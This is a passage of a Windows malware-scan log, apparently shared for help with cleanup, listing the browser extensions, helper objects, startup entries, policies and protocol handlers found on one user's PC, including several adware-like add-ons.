FF - HKCU\Software\MozillaPlugins\LWAPlugin15.8: C:\Users\abdelilah\AppData\Roaming\Mozilla\Plugins\npLWAPlugin15.8.dll (Microsoft Corporation)

FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\statuswinks@StatusWinks: C:\Users\abdelilah\AppData\Roaming\Mozilla\Extensions\statuswinks@StatusWinks [2012/12/12 15:20:47 | 000,000,000 | ---D | M]
FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\FFToolbar@bitdefender.com: C:\Program Files\BitDefender\BitDefender 2010\bdaphffext\ [2014/03/25 10:08:28 | 000,000,000 | ---D | M]
FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\{DF153AFF-6948-45d7-AC98-4FC4AF8A08E2}: C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext\ [2015/03/19 17:01:39 | 000,000,000 | ---D | M]
FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\quick_searchff@gmail.com: C:\Users\abdelilah\AppData\Roaming\Mozilla\Firefox\Profiles\6v7mta1m.default\extensions\quick_searchff@gmail.com [2015/06/10 16:44:17 | 000,000,000 | ---D | M]
FF - HKEY_LOCAL_MACHINE\software\mozilla\Firefox\Extensions\\{ABDE892B-13A8-4d1b-88E6-365A6E755758}: C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext [2015/03/19 17:01:39 | 000,000,000 | ---D | M]
FF - HKEY_CURRENT_USER\software\mozilla\Firefox\Extensions\\statuswinks@StatusWinks: C:\Users\abdelilah\AppData\Roaming\Mozilla\Extensions\statuswinks@StatusWinks [2012/12/12 15:20:47 | 000,000,000 | ---D | M]
FF - HKEY_CURRENT_USER\software\mozilla\Firefox\Extensions\\freegames4357@BestOffers: C:\Users\abdelilah\AppData\Roaming\Mozilla\Extensions\freegames4357@BestOffers [2014/03/05 21:12:37 | 000,000,000 | ---D | M]
FF - HKEY_CURRENT_USER\software\mozilla\Firefox\Extensions\\speedtest4354@BestOffers: C:\Users\abdelilah\AppData\Roaming\Mozilla\Extensions\speedtest4354@BestOffers [2014/03/05 21:13:32 | 000,000,000 | ---D | M]

[2014/03/05 21:13:32 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Extensions
[2014/03/05 21:12:37 | 000,000,000 | ---D | M] (Free Games 111) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Extensions\freegames4357@BestOffers
[2014/03/05 21:13:32 | 000,000,000 | ---D | M] (Speed Test 127) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Extensions\speedtest4354@BestOffers
[2012/12/12 15:20:47 | 000,000,000 | ---D | M] (Smiley Bar for Facebook) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Extensions\statuswinks@StatusWinks
[2015/06/12 22:53:29 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions
[2015/06/12 22:53:40 | 000,000,000 | ---D | M] ("HD-V1.4") -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\508d4e2f-a469-421d-a294-135dbb84fe1b@f7b17943-cc9e-4d4a-b223-0bd1e7cfc871.com
[2015/06/12 13:27:32 | 000,000,000 | ---D | M] ("Plus-HD-V1.4c") -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\c1b9d306-75ba-4390-8a8b-76b504015572@gmail.com
[2015/06/11 13:59:18 | 000,000,000 | ---D | M] ("video MediaPlayer") -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\ff806580-6db3-4c09-ba06-d6caf0e99172@8453cb25-7fef-4ed5-8934-b08be5605617.com
[2015/06/10 16:44:17 | 000,000,000 | ---D | M] ("QuickSearch") -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\quick_searchff@gmail.com
[2015/02/19 12:14:42 | 000,000,000 | ---D | M] (BuiyNsave) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\seP6sIr@4.com
[2015/06/12 22:53:36 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\508d4e2f-a469-421d-a294-135dbb84fe1b@f7b17943-cc9e-4d4a-b223-0bd1e7cfc871.com\extensionData
[2015/06/12 22:53:36 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\508d4e2f-a469-421d-a294-135dbb84fe1b@f7b17943-cc9e-4d4a-b223-0bd1e7cfc871.com\extensionData\plugins
[2015/06/12 22:53:36 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\508d4e2f-a469-421d-a294-135dbb84fe1b@f7b17943-cc9e-4d4a-b223-0bd1e7cfc871.com\extensionData\userCode
[2015/06/12 13:27:32 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\c1b9d306-75ba-4390-8a8b-76b504015572@gmail.com\extensionData
[2015/06/12 13:27:32 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\c1b9d306-75ba-4390-8a8b-76b504015572@gmail.com\extensionData\plugins
[2015/06/12 13:27:32 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\c1b9d306-75ba-4390-8a8b-76b504015572@gmail.com\extensionData\userCode
[2015/06/11 13:59:18 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\ff806580-6db3-4c09-ba06-d6caf0e99172@8453cb25-7fef-4ed5-8934-b08be5605617.com\extensionData
[2015/06/11 13:59:18 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\ff806580-6db3-4c09-ba06-d6caf0e99172@8453cb25-7fef-4ed5-8934-b08be5605617.com\extensionData\plugins
[2015/06/11 13:59:17 | 000,000,000 | ---D | M] (No name found) -- C:\Users\abdelilah\AppData\Roaming\mozilla\Firefox\Profiles\6v7mta1m.default\extensions\ff806580-6db3-4c09-ba06-d6caf0e99172@8453cb25-7fef-4ed5-8934-b08be5605617.com\extensionData\userCode
[2015/03/11 13:29:26 | 000,006,057 | ---- | M] () -- C:\Users\abdelilah\AppData\Roaming\mozilla\firefox\profiles\6v7mta1m.default\searchplugins\bingp.xml
[2014/11/12 22:24:40 | 000,008,187 | ---- | M] () -- C:\Users\abdelilah\AppData\Roaming\mozilla\firefox\profiles\6v7mta1m.default\searchplugins\Search The Web.xml
[2014/12/14 18:03:32 | 000,002,089 | ---- | M] () -- C:\Users\abdelilah\AppData\Roaming\mozilla\firefox\profiles\6v7mta1m.default\searchplugins\Web Search.xml
[2015/06/10 16:44:26 | 000,007,899 | ---- | M] () -- C:\Users\abdelilah\AppData\Roaming\mozilla\firefox\profiles\6v7mta1m.default\searchplugins\WebSearch.xml
[2015/06/12 18:32:14 | 000,000,000 | ---D | M] (No name found) -- C:\Program Files\Mozilla Firefox\browser\extensions

[color=#E56717]========== Chrome ==========[/color]

CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.1_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\cgihflhdpokeobcfimliamffejfnmfii\2.0.4_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf\0.0.0.60_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\dghncoeocefmhkhiphdgikkamjeglbfh\0.10_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\dgjgndfecgdkbhdpdmklohmbjodjnpna\0.0.0.1_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\fbffkgdjpgjeehnebinomalghepjajnb\11.87.5.11242_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\fcfenmboojpjinhpgggodefccipikbpd\0.0.0.8_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.1_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\hengckbmhgoinaagocipamceoaheiolj\1.1\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\idhngdhcfkoamngbedgpaokgjbnpdiji\1.3.3_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\ienepdbfimpnhmpfolgfooffhhgdejcm\2.1\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\ihcedcpmfdpjijiamkaeaefgfagnnpei\0.1.8.3_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\ikicmoaampnfhdkjjpbabogpbfcfonjn\1.0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\jhnlcfgpdcddjompepbmgolhnmkldllj\3.7\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\jijknldiopccnikfclcmmjnponjkicbc\42.210_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\knmaplknmljolhemkdmfahdfgddflgcd\1.0.2_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\kojoeenlmnpnocakmapcagndeghjlahp\1\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\lifbcibllhkdhoafpjfnlhfpfgnpldfl\7.5.0.9082_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\niljpgchbakifofpdbooagpeodjdppeh\11.87.5.19221_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\0.0.6.1_0\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\oipgklkggfaokcoipmecomffdpebimle\100\
CHR - Extension: No name found = C:\Users\abdelilah\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia\8.1_0\

O1 HOSTS File: ([2014/03/13 14:40:52 | 000,000,851 | ---- | M]) - C:\Windows\System32\drivers\etc\hosts
O1 - Hosts: 127.0.0.1 localhost
O2 - BHO: (no name) - {02478D38-C3F9-4efb-9B51-7695ECA05670} - No CLSID value found.
O2 - BHO: (HD-V1.4) - {11111111-1111-1111-1111-110511831162} - C:\Program Files\HD-V1.4\HD-V1.4-bho.dll (HD-V1.4)
O2 - BHO: (Adobe PDF Link Helper) - {18DF081C-E8AD-4283-A596-FA578C2EBDC3} - C:\Program Files\Common Files\Adobe\Acrobat\ActiveX\AcroIEHelperShim.dll (Adobe Systems Incorporated)
O2 - BHO: (RealNetworks Download and Record Plugin for Internet Explorer) - {3049C3E9-B461-4BC5-8870-4C09146192CA} - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\IE\rndlbrowserrecordplugin.dll (RealDownloader)
O2 - BHO: (no name) - {51D26BB4-4D2C-4AE4-9873-5FF41B6DED1F} - No CLSID value found.
O2 - BHO: (Groove GFS Browser Helper) - {72853161-30C5-4D22-B7F9-0BBC1D38A37E} - C:\Program Files\Microsoft Office\Office14\GROOVEEX.DLL (Microsoft Corporation)
O2 - BHO: (Java(tm) Plug-In SSV Helper) - {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} - C:\Program Files\Java\jre1.8.0_25\bin\ssv.dll (Oracle Corporation)
O2 - BHO: (Skype Click to Call for Internet Explorer) - {AE805869-2E5C-4ED4-8F7B-F1F7851A4497} - C:\Program Files\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O2 - BHO: (Office Document Cache Handler) - {B4F3A835-0E21-4959-BA22-42B3008E02FF} - C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL (Microsoft Corporation)
O2 - BHO: (Java(tm) Plug-In 2 SSV Helper) - {DBC80044-A445-435b-BC74-9C25C1C588A9} - C:\Program Files\Java\jre1.8.0_25\bin\jp2ssv.dll (Oracle Corporation)
O3 - HKLM\..\Toolbar: (BitDefender Toolbar) - {381FFDE8-2394-4f90-B10D-FC6124A40F8C} - C:\Program Files\BitDefender\BitDefender 2010\ietoolbar.dll (BitDefender S.R.L.)
O3 - HKU\S-1-5-21-2676332904-3815248177-1227062558-1000\..\Toolbar\WebBrowser: (no name) - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - No CLSID value found.
O4 - HKLM..\Run: [BCSSync] C:\Program Files\Microsoft Office\Office14\BCSSync.exe (Microsoft Corporation)
O4 - HKLM..\Run: [BDAgent] C:\Program Files\BitDefender\BitDefender 2010\bdagent.exe (BitDefender S.R.L.)
O4 - HKLM..\Run: [BitDefender Antiphishing Helper] C:\Program Files\BitDefender\BitDefender 2010\IEShow.exe (BitDefender S.R.L.)
O4 - HKLM..\Run: [HotKeysCmds] C:\Windows\System32\hkcmd.exe (Intel Corporation)
O4 - HKLM..\Run: [IgfxTray] C:\Windows\System32\igfxtray.exe (Intel Corporation)
O4 - HKLM..\Run: [Persistence] C:\Windows\System32\igfxpers.exe (Intel Corporation)
O4 - HKLM..\Run: [SunJavaUpdateSched] C:\Program Files\Common Files\Java\Java Update\jusched.exe (Oracle Corporation)
O4 - HKLM..\Run: [TkBellExe] C:\Program Files\Real\RealPlayer\Update\realsched.exe (RealNetworks, Inc.)
O4 - HKLM..\Run: [USB Antivirus] C:\Program Files\USB Disk Security\USBGuard.exe (zbshareware, Inc)
O4 - HKU\S-1-5-19..\Run: [Sidebar] C:\Program Files\Windows Sidebar\Sidebar.exe (Microsoft Corporation)
O4 - HKU\S-1-5-20..\Run: [Sidebar] C:\Program Files\Windows Sidebar\Sidebar.exe (Microsoft Corporation)
O4 - HKU\.DEFAULT..\RunOnce: [SPReview] C:\Windows\System32\SPReview\SPReview.exe (Microsoft Corporation)
O4 - HKU\S-1-5-18..\RunOnce: [SPReview] C:\Windows\System32\SPReview\SPReview.exe (Microsoft Corporation)
O4 - HKU\S-1-5-19..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (Microsoft Corporation)
O4 - HKU\S-1-5-20..\RunOnce: [mctadmin] C:\Windows\System32\mctadmin.exe (Microsoft Corporation)
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer: NoDriveTypeAutoRun = 95
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorAdmin = 5
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ConsentPromptBehaviorUser = 3
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableInstallerDetection = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableLUA = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableSecureUIAPaths = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableUIADesktopToggle = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: EnableVirtualization = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: PromptOnSecureDesktop = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: ValidateAdminCodeSignatures = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: dontdisplaylastusername = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: legalnoticecaption =
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: legalnoticetext =
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: scforceoption = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: shutdownwithoutlogon = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: undockwithoutlogon = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System: FilterAdministratorToken = 0
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_TEXT = 1
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_BITMAP = 2
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_OEMTEXT = 7
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_DIB = 8
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_PALETTE = 9
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_UNICODETEXT = 13
O6 - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\System\UIPI\Clipboard\ExceptionFormats: CF_DIBV5 = 17
O8 - Extra context menu item: &Envoyer à OneNote - C:\Program Files\Microsoft Office\Office14\ONBttnIE.dll (Microsoft Corporation)
O8 - Extra context menu item: E&xporter vers Microsoft Excel - C:\Program Files\Microsoft Office\Office14\EXCEL.EXE (Microsoft Corporation)
O9 - Extra Button: Envoyer à OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office\Office14\ONBttnIE.dll (Microsoft Corporation)
O9 - Extra 'Tools' menuitem : &Envoyer à OneNote - {2670000A-7350-4f3c-8081-5663EE0C6C49} - C:\Program Files\Microsoft Office\Office14\ONBttnIE.dll (Microsoft Corporation)
O9 - Extra Button: Notes &liées OneNote - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office\Office14\ONBttnIELinkedNotes.dll (Microsoft Corporation)
O9 - Extra 'Tools' menuitem : Notes &liées OneNote - {789FE86F-6FC4-46A1-9849-EDE0DB0C95CA} - C:\Program Files\Microsoft Office\Office14\ONBttnIELinkedNotes.dll (Microsoft Corporation)
O9 - Extra Button: Skype Click to Call settings - {898EA8C8-E7FF-479B-8935-AEC46303B9E5} - C:\Program Files\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000001 [] - C:\Windows\System32\nlaapi.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000002 [] - C:\Windows\System32\NapiNSP.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000003 [] - C:\Windows\System32\pnrpnsp.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000004 [] - C:\Windows\System32\pnrpnsp.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000005 [] - C:\Windows\System32\wshbth.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000006 [] - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - NameSpace_Catalog5\Catalog_Entries\000000000007 [] - C:\Windows\System32\winrnr.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000001 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000002 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000003 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000004 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000005 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000006 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000007 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000008 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000009 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000010 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000011 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000012 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000013 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000014 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000015 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000016 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000017 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000018 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000019 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000020 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000021 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000022 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000023 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000024 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000025 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000026 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000027 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000028 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O10 - Protocol_Catalog9\Catalog_Entries\000000000029 - C:\Windows\System32\mswsock.dll (Microsoft Corporation)
O13 - gopher Prefix: missing
O17 - HKLM\System\CCS\Services\Tcpip\Parameters: DhcpNameServer = 192.168.1.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{3F45859A-D0AE-41D3-BA33-C1A9A98FC756}: DhcpNameServer = 192.168.1.1
O17 - HKLM\System\CCS\Services\Tcpip\Parameters\Interfaces\{8BE3B0F0-FE69-4701-8F1F-5559392B9AE0}: DhcpNameServer = 192.168.1.1
O18 - Protocol\Handler\about {3050F406-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\System32\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\cdl {3dd53d40-7b8b-11D0-b013-00aa0059ce02} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\dvd {12D51199-0DB5-46FE-A120-47A3D7D937CC} - C:\Windows\System32\MSVidCtl.dll (Microsoft Corporation)
O18 - Protocol\Handler\file {79eac9e7-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\ftp {79eac9e3-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\http {79eac9e2-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\http\0x00000001 {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Program Files\Common Files\System\Ole DB\MSDAIPP.DLL (Microsoft Corporation)
O18 - Protocol\Handler\http\oledb {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Program Files\Common Files\System\Ole DB\MSDAIPP.DLL (Microsoft Corporation)
O18 - Protocol\Handler\https {79eac9e5-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\https\0x00000001 {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Program Files\Common Files\System\Ole DB\MSDAIPP.DLL (Microsoft Corporation)
O18 - Protocol\Handler\https\oledb {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Program Files\Common Files\System\Ole DB\MSDAIPP.DLL (Microsoft Corporation)
O18 - Protocol\Handler\its {9D148291-B9C8-11D0-A4CC-0000F80149F6} - C:\Windows\System32\itss.dll (Microsoft Corporation)
O18 - Protocol\Handler\javascript {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\System32\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\local {79eac9e7-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\mailto {3050f3DA-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\System32\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\mhtml {05300401-BCBC-11d0-85E3-00C04FD85AB4} - C:\Windows\System32\inetcomm.dll (Microsoft Corporation)
O18 - Protocol\Handler\mk {79eac9e6-baf9-11ce-8c82-00aa004ba90b} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Handler\msdaipp - No CLSID value found
O18 - Protocol\Handler\msdaipp\0x00000001 {E1D2BF42-A96B-11d1-9C6B-0000F875AC61} - C:\Program Files\Common Files\System\Ole DB\MSDAIPP.DLL (Microsoft Corporation)
O18 - Protocol\Handler\msdaipp\oledb {E1D2BF40-A96B-11d1-9C6B-0000F875AC61} - C:\Program Files\Common Files\System\Ole DB\MSDAIPP.DLL (Microsoft Corporation)
O18 - Protocol\Handler\ms-help {314111c7-a502-11d2-bbca-00c04f8ec294} - C:\Program Files\Common Files\microsoft shared\Help\hxds.dll (Microsoft Corporation)
O18 - Protocol\Handler\ms-its {9D148291-B9C8-11D0-A4CC-0000F80149F6} - C:\Windows\System32\itss.dll (Microsoft Corporation)
O18 - Protocol\Handler\res {3050F3BC-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\System32\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Handler\skype4com {FFC8B962-9B40-4DFF-9458-1830C7DD7F5D} - C:\Program Files\Common Files\Skype\Skype4COM.dll (Skype Technologies)
O18 - Protocol\Handler\skypec2c {91774881-D725-4E58-B298-07617B9B86A8} - C:\Program Files\Skype\Toolbars\Internet Explorer\SkypeIEPlugin.dll (Microsoft Corporation)
O18 - Protocol\Handler\tv {CBD30858-AF45-11D2-B6D6-00C04FBBDE6E} - C:\Windows\System32\MSVidCtl.dll (Microsoft Corporation)
O18 - Protocol\Handler\vbscript {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} - C:\Windows\System32\mshtml.dll (Microsoft Corporation)
O18 - Protocol\Filter\application/octet-stream {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\System32\mscoree.dll (Microsoft Corporation)
O18 - Protocol\Filter\application/x-complus {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\System32\mscoree.dll (Microsoft Corporation)
O18 - Protocol\Filter\application/x-msdownload {1E66F26B-79EE-11D2-8710-00C04F79ED0D} - C:\Windows\System32\mscoree.dll (Microsoft Corporation)
O18 - Protocol\Filter\deflate {8f6b0360-b80d-11d0-a9b3-006097942311} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Filter\gzip {8f6b0360-b80d-11d0-a9b3-006097942311} - C:\Windows\System32\urlmon.dll (Microsoft Corporation)
O18 - Protocol\Filter\text/xml {807573E5-5146-11D5-A672-00B0D022E945} - C:\Program Files\Common Files\microsoft shared\OFFICE14\MSOXMLMF.DLL (Microsoft Corporation)
